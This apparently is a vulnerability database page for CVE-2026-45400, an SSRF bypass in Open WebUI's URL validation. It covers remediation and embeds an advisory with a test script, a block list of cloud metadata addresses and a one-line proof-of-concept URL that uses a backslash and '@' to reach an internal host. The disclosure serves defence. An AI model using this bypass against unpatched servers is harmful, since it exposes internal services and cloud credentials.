CVE-2026-45400: Open webui Open WebUI Has A Server-Side Vulnerability
HIGHCVE-2026-45400 is a HIGH (CVSS 8.5) open webui has a server-side vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has a server-side request forgery (ssrf) bypass in `validate_url`. Remediation is available by upgrading affected packages to version 0.9.5.
CVE-2026-45400 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-45400
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.9.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-45400, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.5), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45400 Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.5
|
0.9.5
|
References
Frequently Asked Questions
What is CVE-2026-45400?
Which Open webui versions are affected?
What version fixes CVE-2026-45400?
Is open-webui affected?
What is the CVSS score of CVE-2026-45400?
What CWE is associated with CVE-2026-45400?
How can I check PyPI dependencies for CVE-2026-45400?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8w7q-q5jp-jvgx",
"modified" : "2026-05-15T23:55:29Z",
"published" : "2026-05-14T20:27:00Z",
"aliases" : [ "CVE-2026-45400" ],
"summary" : "Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`",
"details" : "### Summary\nIn the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.\n\n### Details\nIn the current project, URL validation is performed using the function validate_url.\n\n<img width=\"1323\" height=\"1145\" alt=\"QQ20260322-202854-22-1\" src=\"https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47\" />\n\nThe current checking logic uses urlparse to parse the hostname part of the URL for verification.\n\n<img width=\"1122\" height=\"429\" alt=\"QQ20260322-203014-22-2\" src=\"https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88\" />\n\nHowever, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.\n\n<img width=\"1269\" height=\"915\" alt=\"QQ20260322-203122-22-3\" src=\"https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b\" />\n\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the open-webui code.\n```\nfrom __future__ import annotations\n\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport urllib.parse\nimport urllib.request\nfrom typing import Optional, Sequence, Union\nimport requests\n\nlog = logging.getLogger(__name__)\n\n# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL\nINVALID_URL = (\n \"Oops! The URL you provided is invalid. Please double-check and try again.\"\n)\n\n# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)\nENABLE_RAG_LOCAL_WEB_FETCH = (\n os.getenv(\"ENABLE_RAG_LOCAL_WEB_FETCH\", \"False\").lower() == \"true\"\n)\n\n_DEFAULT_WEB_FETCH_FILTER_LIST = [\n \"!169.254.169.254\",\n \"!fd00:ec2::254\",\n \"!metadata.google.internal\",\n \"!metadata.azure.com\",\n \"!100.100.100.200\",\n]\n_web_fetch_filter_env = os.getenv(\"WEB_FETCH_FILTER_LIST\", \"\")\nif _web_fetch_filter_env == \"\":\n _web_fetch_filter_env_list: list[str] = []\nelse:\n _web_fetch_filter_env_list = [\n item.strip()\n for item in _web_fetch_filter_env.split(\",\")\n if item.strip()\n ]\nWEB_FETCH_FILTER_LIST = list(\n set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)\n)\n\n\ndef get_allow_block_lists(filter_list):\n allow_list = []\n block_list = []\n\n if filter_list:\n for d in filter_list:\n if d.startswith(\"!\"):\n block_list.append(d[1:].strip())\n else:\n allow_list.append(d.strip())\n\n return allow_list, block_list\n\n\ndef is_string_allowed(\n string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None\n) -> bool:\n if not filter_list:\n return True\n\n allow_list, block_list = get_allow_block_lists(filter_list)\n strings = [string] if isinstance(string, str) else list(string)\n\n if allow_list:\n if not any(s.endswith(allowed) for s in strings for allowed in allow_list):\n return False\n\n if any(s.endswith(blocked) for s in strings for blocked in block_list):\n return False\n\n return True\n\n\ndef resolve_hostname(hostname):\n # Get address information\n addr_info = socket.getaddrinfo(hostname, None)\n\n # Extract IP addresses from address information\n ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]\n ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]\n\n return ipv4_addresses, ipv6_addresses\n\n\ndef _validators_url_accept(url: str) -> bool:\n \"\"\"\n Stand-in for python-validators url(): True if string looks like http(s) URL with host.\n \"\"\"\n try:\n u = url.strip()\n if not u:\n return False\n p = urllib.parse.urlparse(u)\n if p.scheme not in (\"http\", \"https\"):\n return False\n if not p.netloc:\n return False\n return True\n except Exception:\n return False\n\n\ndef _ipv4_private(ip: str) -> bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 4 and a.is_private\n except ValueError:\n return False\n\n\ndef _ipv6_private(ip: str) -> bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 6 and a.is_private\n except ValueError:\n return False\n\n\ndef validate_url(url: Union[str, Sequence[str]]):\n if isinstance(url, str):\n if not _validators_url_accept(url):\n raise ValueError(INVALID_URL)\n\n parsed_url = urllib.parse.urlparse(url)\n\n # Protocol validation - only allow http/https\n if parsed_url.scheme not in [\"http\", \"https\"]:\n log.warning(\n f\"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}\"\n )\n raise ValueError(INVALID_URL)\n\n # Blocklist check using unified filtering logic\n if WEB_FETCH_FILTER_LIST:\n if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):\n log.warning(f\"URL blocked by filter list: {url}\")\n raise ValueError(INVALID_URL)\n\n if not ENABLE_RAG_LOCAL_WEB_FETCH:\n # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses\n parsed_url = urllib.parse.urlparse(url)\n # Get IPv4 and IPv6 addresses\n ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)\n # Check if any of the resolved addresses are private\n # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader\n for ip in ipv4_addresses:\n if _ipv4_private(ip):\n raise ValueError(INVALID_URL)\n for ip in ipv6_addresses:\n if _ipv6_private(ip):\n raise ValueError(INVALID_URL)\n return True\n elif isinstance(url, Sequence):\n return all(validate_url(u) for u in url)\n else:\n return False\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n # url = \"https://127.0.0.1:6666\\@1.1.1.1\"\n url = \"https://127.0.0.1:6666\"\n validate_url(url)\n response = requests.get(url)\n print(response.text)\n\n```\nAs you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.\n\n<img width=\"1428\" height=\"273\" alt=\"QQ20260322-203503-22-4\" src=\"https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f\" />\n\nHowever, for https://127.0.0.1:6666\\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.\n\n<img width=\"2255\" height=\"786\" alt=\"QQ20260322-203750-22-5\" src=\"https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1\" />\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@baidu.com\n```\n\n### Impact\nSSRF",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45400"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T20:27:00Z",
"nvd_published_at" : "2026-05-15T21:16:38Z"
}
}